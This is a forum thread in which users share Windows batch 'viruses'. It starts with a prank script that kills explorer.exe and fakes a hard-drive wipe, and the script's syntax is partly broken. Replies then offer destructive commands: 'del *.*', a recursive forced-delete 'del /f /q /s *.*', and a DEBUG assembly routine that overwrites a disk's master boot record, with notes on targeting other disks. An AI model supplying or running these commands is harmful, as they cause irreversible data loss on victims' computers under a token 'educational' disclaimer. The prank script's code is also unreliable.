Prank Virus and Real Virus

[Mister Fox]

Just a nice prank virus I made out of a bunch of other prank ones

@echo off
cls
taskkill /f explorer.exe (hides icons and taskbar)
echo Hello there!
ping localhost -n 2 >nul
echo I am a virus!
ping localhost -n 2 >nul
echo HAHAHAHAHAHAHAHAHAHA!
ping localhost -n 2 >nul
echo DELETING HARD DRIVE FILES
dir /s (lists every file in your system, takes 2-3 minutes)
cls
ping localhost -n 3 >nul
echo lolz
echo.
echo this was a prank
ping localhost -n 2 >nul
cls
start explorer.exe (brings icons/taskbar back)
exit

It's pretty fun to use on your friends, and it disables the icons/taksbar so if they close the file they will be forced to restart their computer!



WARNING-----HARMFUL CONTENT ALERT----FOR EDUCATIONAL PURPOSES ONLY, USE AT OWN RISK


This is a real, powerful virus. It deletes pretty much every file it can find on the computer.
And it's only 7 characters long.

del *.*

It deletes files with Any name and Any extension. I haven't tested it, for obvious reasons, but it's basic enough.

This can cause irreparable damage to the computer in the form of lost files. NEVER use this. It is meant for educational purposes only.

Haha, that's no virus, that's just killing explorer which can be restarted just as easily
Your del *.* virus is way to nice, it only deletes files in the current folder and will nicely ask, viruses don't ask, use

Code: Select all

del /f /q /s *.*

A "virus" need to gain administrator privileges first.
Next gather data like which AV is running if any etc..
by the way, don't use batch for that

Why not just WipeMBR

Code: Select all

F 9000:0 L 200 0
A
Mov dx,9000
Mov es,dx
Xor bx,bx
Mov cx,0001
Mov dx,0080
Mov ax,0301
Int 13
Int 20

U 100 L 12
G
Q
(Note: use 0081, 0082, 0083 for 2nd, 3rd, 4th harddisk respectively)

Really hate this commercially exploited term "virus", because it's subjective.

Really hate this commercially exploited term "virus", because it's subjective.

That's true. A virus is a standalone program that replicates itself and is designed to infect other systems.

The "viruses" people make with batch are just malicious files.
